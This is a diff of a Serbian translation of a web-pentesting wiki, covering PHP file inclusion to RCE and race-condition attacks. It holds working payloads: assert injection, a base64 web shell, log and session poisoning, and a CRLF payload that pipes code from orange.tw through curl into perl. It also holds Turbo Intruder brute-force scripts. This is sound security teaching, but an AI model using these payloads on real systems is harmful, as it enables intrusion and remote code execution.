here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion napadu) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajl sistemu -- [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP URL-ovima -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni tokovi -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju šablonu (ne vraća ništa ispisivo, tako da nije naročito korisno ovde) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — zapisivanje u memoriju ili u privremenu datoteku (nije jasno koliko bi ovo moglo biti korisno u file inclusion napadu) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — pristup lokalnom filesystem-u +- [http://](https://www.php.net/manual/en/wrappers.http.php) — pristup HTTP(s) URL-ovima +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — pristup FTP(s) URL-ovima +- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — compression Streams +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — pronalaženje putanja koje odgovaraju obrascu (ne vraća ništa štampano, tako da nije baš korisno ovde) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (nije korisno za čitanje proizvoljnih fajlova) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — audio streams (nije korisno za čitanje proizvoljnih datoteka) ## LFI via PHP's 'assert' -Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada je u pitanju funkcija 'assert', koja može izvršavati kod unutar stringova. To je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava ali nije pravilno sanitizovan. +Local File Inclusion (LFI) rizici u PHP-u su naročito veliki kada je u pitanju funkcija 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se proverava ulaz koji sadrži directory traversal karaktere kao što je "..", ali nije pravilno sanitizovan. For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Iako je ovo namenjeno da zaustavi traversal, to nehotice stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti: +Iako ovo ima za cilj da spreči traversal, to nenamerno stvara vektor za code injection. Da bi to iskoristio za čitanje sadržaja fajla, napadač bi mogao da upotrebi: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -406,18 +406,18 @@ Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristit ```plaintext ' and die(system("id")) or ' ``` -It's important to **URL-encode these payloads**. +Važno je **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**) i sadržaj se ne prikazuje. +> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **file path** neke **PHP function** koja će **access a file** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) i sadržaj nije prikazan. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti preko PHP filtera da bi se **exfiltrated the content of a file via an error oracle**. -Kao rezime, tehnika koristi **"UCS-4LE" encoding** da sadržaj fajla učini toliko **velikim** da će **PHP funkcija koja otvara** fajl izazvati **error**. +Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla bio dovoljno **big** da pozivanje **PHP function** koja otvara fajl izazove **error**. -Zatim, da bi se leak the first char koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da postave druge chars na početak i leak. +Zatim, da bi se leak-ovao prvi char koristi se filter **`dechunk`** zajedno sa drugim poput **`base64`** ili **`rot13`**, a konačno se koriste filteri **`convert.iconv.UCS-4.UCS-4LE`** i **`convert.iconv.UTF16.UTF-16BE`** da bi se **place other chars at the beggining and leak them**. **Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -427,20 +427,20 @@ Za tehničke detalje pogledajte pomenuti post! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segmenata i apsolutne putanje mogu pobeći iz nameravane direktorijumske strukture i prouzrokovati arbitrary file write. Ako možete postaviti payload u direktorijum eksponiran na webu, obično dobijate unauthenticated RCE tako što postavite webshell. +Kada server-side kod koji prima/upload-uje fajlove gradi destinacionu putanju koristeći user-controlled podatke (npr. filename ili URL) bez canonicalisinga i validacije, `..` segmenata i absolute paths mogu pobjeći iz planiranog direktorijuma i prouzrokovati arbitrary file write. Ako možete postaviti payload pod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell. -Tipični tok eksploatacije: -- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.). -- Odredite direktorijume koji su izloženi webu. Uobičajeni primeri: +Typical exploitation workflow: +- Identifikujte a write primitive u endpointu ili background workeru koji prihvata putanju/filename i zapisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.). +- Odredite web-exposed directories. Uobičajeni primeri: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Napravite traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a. -- Otvorite u browseru postavljeni payload i izvršavajte komande. +- Sastavite traversal path koji izlazi iz namenjenog storage direktorijuma u webroot, i uključite vaš webshell sadržaj. +- Otvorite preglednik na dropped payload i izvršite komande. Napomene: -- Ranljiva usluga koja vrši zapis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload. -- Na Java stack-ovima, ovi file write-ovi su često implementirani prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni propust. +- Usluga koja vrši write može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload. +- Na Java stackovima, ovi file writes su često implementirani jednostavnim `File`/`Paths` konkatenacijama. Nedostatak canonicalisation/allow-listing je osnovni flaw. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,25 +466,25 @@ in.transferTo(out);
``` -Hardening that defeats this class of bugs: -- Razrešite putanju do canonical path-a i osigurajte da je potomak allow-listed osnovnog direktorijuma. -- Odbacite svaku putanju koja sadrži `..`, apsolutne root-ove, ili slova drajva; preferirajte generated filenames. -- Pokrenite writer pod low-privileged nalogom i segregirajte write direktorijume od served roots. +Mere za jačanje bezbednosti koje onemogućavaju ovu klasu bagova: +- Rezolvirajte putanju u kanonsku formu i osigurajte da je potomak direktorijuma koji je na allow-listi. +- Odbacite svaku putanju koja sadrži `..`, apsolutne root-ove, ili slova drajvova; preferirajte generisane nazive fajlova. +- Pokrenite writer kao nalog sa niskim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju. ## Remote File Inclusion -Objašnjeno ranije, [**pratite ovaj link**](#remote-file-inclusion). +Objašnjeno ranije, [**follow this link**](#remote-file-inclusion). -### Korišćenjem Apache/Nginx log fajla +### Putem Apache/Nginx log fajla -Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite u **user agent** ili u **GET parameter** php shell kao **``** i include-ujete taj fajl +Ako je Apache ili Nginx server **ranjiv na LFI** u okviru include funkcije, možete pokušati da pristupite **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, ubacite u **user agent** ili u **GET parameter** php shell kao **``** i uključite taj fajl > [!WARNING] -> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti izmenjeni za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**. +> Imajte na umu da **ako koristite double quotes** za shell umesto **simple quotes**, dvostruki navodnici će biti izmenjeni u string "_**quote;**_", **PHP će baciti grešku** i **ništa više neće biti izvršeno**. > -> Takođe, pobrinite se da **ispravno napišete payload** ili će PHP prijavljivati grešku svaki put kad pokuša da učita log fajl i nećete imati drugu priliku. +> Takođe, pobrinite se da **ispravno napišete payload** ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku. -Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i on se dekodira unutar logova. PHPShell može biti ubacen u ovaj header.\ +Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL encoded i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i on se dekodira u logovima. PHPShell se može ubaciti u ovaj header.\ Ostale moguće putanje logova: ```python /var/log/apache2/access.log @@ -499,44 +499,44 @@ Ostale moguće putanje logova: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Preko Emaila +### Putem e-pošte -**Send a mail** na internu adresu (user@localhost) koja sadrži vaš PHP payload kao `` i pokušajte da include-ujete mejl korisnika sa putanjom kao **`/var/mail/`** ili **`/var/spool/mail/`** +**Pošaljite mail** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `` i pokušajte da include-ujete mail korisnika putem putanje kao **`/var/mail/`** ili **`/var/spool/mail/`** -### Preko /proc/*/fd/* +### Putem /proc/*/fd/* -1. Upload mnogo shells (na primer: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID PID procesa (može se brute force-ovati) a $FD file descriptor (takođe se može brute force-ovati) +1. Otpremite mnogo shell-ova (na primer: 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-force-ovati) i $FD = file descriptor (takođe može da se brute-force-uje) -### Preko /proc/self/environ +### Putem /proc/self/environ -Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ +Slično log fajlu, pošaljite payload u User-Agent; biće reflektovano unutar /proc/self/environ fajla ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Putem uploada +### Putem upload -Ako možete da upload-ujete fajl, samo ubacite shell payload u njega (npr: ``). +Ako možete upload fajl, samo inject the shell payload u njega (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/dokumenata/PDF +Da biste fajl učinili čitljivim, najbolje je ubaciti u metapodatke slika/dokumenata/pdf -### Putem ZIP upload-a +### Putem otpremanja ZIP fajla Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Kroz PHP sessions +### Putem PHP sessions Proverite da li sajt koristi PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima +U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ datotekama ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -545,90 +545,90 @@ Postavite cookie na `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Iskoristi LFI da uključiš PHP session fajl +Iskoristite LFI da uključite PHP session file ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Preko ssh +### Putem ssh -Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\/.ssh/id_rsa** +Ako je ssh aktivan, proveri koji je korisnik u upotrebi (/proc/self/status & /etc/passwd) i pokušaj da pristupiš **\/.ssh/id_rsa** -### **Preko** **vsftpd** _**logs**_ +### **Putem** **vsftpd** _**logova**_ -Logovi FTP servera vsftpd se nalaze u _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost, i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti: +Logovi FTP servera vsftpd nalaze se na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci: -1. Inject a PHP payload into the username field during the login process. -2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_. +1. Ubaci PHP payload u polje za korisničko ime tokom procesa prijave. +2. Nakon injekcije, iskoristi LFI za preuzimanje server logova sa _**/var/log/vsftpd.log**_. -### Via php base64 filter (using base64) +### Putem php base64 filter (using base64) -Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako pošaljete base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i pripojiti "php" base64-u. Evo primera payload-a: +Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možeš to iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i pripojiti "php" base64-u. Evo primera payload-a: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Preko php filters (nije potreban fajl) +### Putem php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)objašnjava da možete koristiti **php filters da generišete proizvoljan sadržaj** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php code** za include **bez potrebe da ga upisujete** u fajl. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters** da generišete proizvoljan sadržaj kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** ga u fajl. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Preko segmentation fault +### Putem segmentation fault -**Otpremite** fajl koji će biti sačuvan kao **temporary** u `/tmp`, zatim u **istom zahtevu,** izazovite **segmentation fault**, i tada **privremeni fajl se neće obrisati** i možete ga potražiti. +**Upload**-ujte fajl koji će biti privremeno smešten u `/tmp`, zatim u **istom zahtevu** izazovajte **segmentation fault**, i tada **privremeni fajl neće biti obrisan** i možete ga potražiti. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Preko Nginx temp file storage +### Putem Nginx temp file storage -If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: +Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE korišćenjem sledeće tehnike: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Preko PHP_SESSION_UPLOAD_PROGRESS +### Putem PHP_SESSION_UPLOAD_PROGRESS -Ako ste otkrili **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pošaljete **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete zloupotrebiti da dobijete RCE: +Ako ste pronašli **Local File Inclusion**, čak i ako **nemate session** i `session.auto_start` je `Off`. Ako u multipart POST podacima pošaljete vrednost za **`PHP_SESSION_UPLOAD_PROGRESS`**, PHP će **omogućiti session za vas**. Ovo možete zloupotrebiti da dobijete RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Preko temp file uploads u Windows +### Putem temp file uploads in Windows -Ako ste otkrili **Local File Inclusion** i server radi na **Windows**, možda ćete dobiti **RCE**: +Ako ste pronašli **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Preko `pearcmd.php` + URL args +### Putem `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a zato što je naznačeno da ako URL param nema `=`, treba ga koristiti kao argument. Pogledajte takođe [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Ispod se zloupotrebljava CRLF vuln da bi se dobio RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Sledeće zloupotrebljava CRLF vuln da bi dobilo RCE (preuzeto sa [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Preko phpinfo() (file_uploads = on) +### Kroz phpinfo() (file_uploads = on) Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa file_uploads = on, možete dobiti RCE: @@ -637,30 +637,30 @@ Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa lfi2rce-via-phpinfo.md {{#endref}} -### Preko compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Kroz compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Ako ste pronašli **Local File Inclusion** i možete exfiltrate putanju temp fajla ALI **server** proverava da li **fajl koji će biti uključen ima PHP oznake**, možete pokušati da zaobiđete tu proveru ovom **Race Condition**: +Ako ste pronašli **Local File Inclusion** i možete **exfiltrate the path** privremenog fajla, ALI **server** proverava da li **fajl koji se uključuje ima PHP marks**, možete pokušati da **zaobiđete tu proveru** pomoću ove **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Preko eternal waiting + bruteforce +### Kroz eternal waiting + bruteforce -Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da PHP izvršenje **hang**, onda možete satima **brute force** imena fajlova da biste pronašli privremeni fajl: +Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršavanje, možete potom **brute force filenames during hours** da biste pronašli privremeni fajl: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Do Fatal Error +### Do fatalne greške -Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Treba da uključite isti fajl 2 puta da biste izazvali tu grešku). +Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku). -**Ne znam koliko je ovo korisno, ali možda jeste.**\ -_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su upload-ovani se brišu._ +**Ne znam kako je ovo korisno, ali možda jeste.**\ +_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu._
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index efcafab98..3ff155fed 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,47 +3,47 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +> Za dublje razumevanje ove tehnike pogledajte originalni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) ## Unapređivanje Race Condition napada -Glavna prepreka za iskorišćavanje race condition je obezbeđivanje da se više zahteva obradi u isto vreme, sa **veoma malom razlikom u vremenu obrade — idealno, manje od 1ms**. +Glavna prepreka pri iskorišćavanju race conditions je osigurati da se više zahteva obrađuje istovremeno, sa **veoma malom razlikom u vremenu obrade — idealno manje od 1ms**. Ovde možete pronaći neke tehnike za sinhronizaciju zahteva: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, što smanjuje uticaj mrežnog jitter-a. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda neće biti dovoljna za konzistentan exploit race condition-a. -- **HTTP/1.1 'Last-Byte Sync'**: Omogućava predslanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim pošalje zajedno, postižući simultani dolazak na server. +- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, smanjujući uticaj jitter-a mreže. Međutim, zbog varijacija na server strani, dva zahteva možda neće biti dovoljna za konzistentan race condition exploit. +- **HTTP/1.1 'Last-Byte Sync'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment koji se potom šalje zajedno, postižući istovremen dolazak do servera. -**Priprema za Last-Byte Sync uključuje:** +**Priprema za Last-Byte Sync** uključuje: -1. Slanje header-a i body podataka minus poslednji bajt bez zatvaranja stream-a. -2. Pauza od 100ms nakon inicijalnog slanja. +1. Slanje headers i body podataka osim poslednjeg bajta bez završetka stream-a. +2. Pauziranje 100 ms nakon početnog slanja. 3. Onemogućavanje TCP_NODELAY da bi se iskoristio Nagle's algorithm za grupisanje finalnih frejmova. -4. Pingovanje da bi se zagrejala konekcija. +4. Pingovanje da se ugreje konekcija. -Naknadno slanje zadržanih frejmova bi trebalo da rezultuje njihovim dolaskom u jednom paketu, što se može verifikovati pomoću Wireshark. Ova metoda se ne primenjuje na statičke fajlove, koji obično nisu uključeni u RC napade. +Naknadno slanje zadržanih frejmova trebalo bi da dovede do njihovog dolaska u jednom paketu, što se može verifikovati pomoću Wireshark-a. Ova metoda se ne odnosi na static files, koji obično nisu uključeni u RC attacks. ### Prilagođavanje arhitekturi servera -Razumevanje arhitekture mete je ključno. Front-end serveri mogu rutirati zahteve drugačije, što utiče na tajming. Preemptivno zagrevanje konekcija na serverskoj strani, putem nebitnih zahteva, može normalizovati vreme obrade zahteva. +Razumevanje arhitekture ciljnog sistema je ključno. Front-end servers mogu usmeravati zahteve na različite načine, što utiče na tajming. Preemptivno zagrevanje konekcije na server-side, slanjem nebitnih zahteva, može izjednačiti vreme obrade zahteva. #### Rukovanje zaključavanjem na osnovu sesije -Framework-i poput PHP session handler-a serijalizuju zahteve po sesiji, što može zamaskirati ranjivosti. Korišćenjem različitih session tokena za svaki zahtev možete zaobići ovaj problem. +Frameworks kao što je PHP's session handler serijalizuju zahteve po sesiji, što može prikriti ranjivosti. Korišćenje različitih session tokens za svaki zahtev može zaobići ovaj problem. #### Prevazilaženje ograničenja brzine ili resursa -Ako zagrevanje konekcije nije efektivno, ciljano izazivanje kašnjenja na web serverima kroz poplavu dummy zahteva može omogućiti single-packet attack tako što će inducirati serversko kašnjenje pogodno za race condition. +Ukoliko zagrevanje konekcije nije efikasno, namerno izazivanje rate ili resource limit kašnjenja na web serverima, putem poplave dummy zahteva, može olakšati single-packet attack induciranjem server-side kašnjenja pogodnog za race conditions. ## Primeri napada -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Možete poslati zahtev u **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), u zahtevu možete promeniti vrednost koju želite da brute force-ujete za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim izaberite **`examples/race-single-packer-attack.py`** iz padajućeg menija: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Možete poslati zahtev u **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti u zahtevu vrednost koju želite brute force-ovati za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim izabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
-Ako planirate da **pošaljete različite vrednosti**, možete izmeniti kod ovim koji koristi wordlist iz clipboard-a: +Ako planirate **poslati različite vrednosti**, možete izmeniti kod koristeći ovu varijantu koja preuzima wordlist iz clipboard-a: ```python passwords = wordlists.clipboard for password in passwords: @@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1') > [!WARNING] > Ako web ne podržava HTTP2 (samo HTTP1.1), koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`. -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: U slučaju da treba da pošaljete request na 1 endpoint, a zatim više na druge endpoints da biste pokrenuli RCE, možete izmeniti skriptu `race-single-packet-attack.py` ovako: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: U slučaju da treba da pošaljete zahtev na 1 endpoint, a zatim više zahteva na druge endpoints da biste izazvali RCE, možete izmeniti skriptu `race-single-packet-attack.py` na nešto poput: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite. +- Takođe je dostupan u **Repeater** preko nove opcije '**Send group in parallel**' u Burp Suite. - Za **limit-overrun** možete jednostavno dodati **isti request 50 puta** u grupu. -- Za **connection warming**, možete **dodati** na **početku** **grupe** neke **requests** ka nekim nestatičnim delovima web servera. -- Za **delaying** procesa **između** obrade **jednog requesta i drugog** u 2 substates koraka, možete **dodati dodatne requests između** oba requesta. -- Za **multi-endpoint** RC možete početi slanjem **requesta** koji **ide u hidden state**, a zatim odmah nakon njega **50 requests** koji **eksploatišu hidden state**. +- Za **connection warming** možete **dodati** na **početku** **grupe** neke **requests** ka nekom ne-statičnom delu web servera. +- Za **delaying** procesa **između** obrade **jednog requesta i drugog** u procesu sa 2 podstanja, možete **dodati dodatne requests između** oba requesta. +- Za **multi-endpoint** RC možete početi slanjem **requesta** koji **ide ka skrivenom stanju**, a zatim odmah nakon njega poslati **50 requests** koji **iskoriste skriveno stanje**.
-- **Automated python script**: Cilj ovog skripta je promeniti email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednji email (ovo zato što je u kodu uočena RC gde je bilo moguće izmeniti email, ali da se verifikacija pošalje na stari jer je varijabla koja ukazuje na email već bila popunjena prvom vrednošću).\ -Kada se u primljenim emailovima pronađe reč "objetivo", znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad. +- **Automatizovani python skript**: Cilj ovog skripta je promeniti email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednju email adresu (ovo je zato što je u kodu primećen RC gde je bilo moguće izmeniti email ali imati verifikaciju poslatu na stari jer je promenljiva koja pokazuje email već bila popunjena prvom adresom).\ +Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token izmenjenog emaila i završavamo napad. ```python # 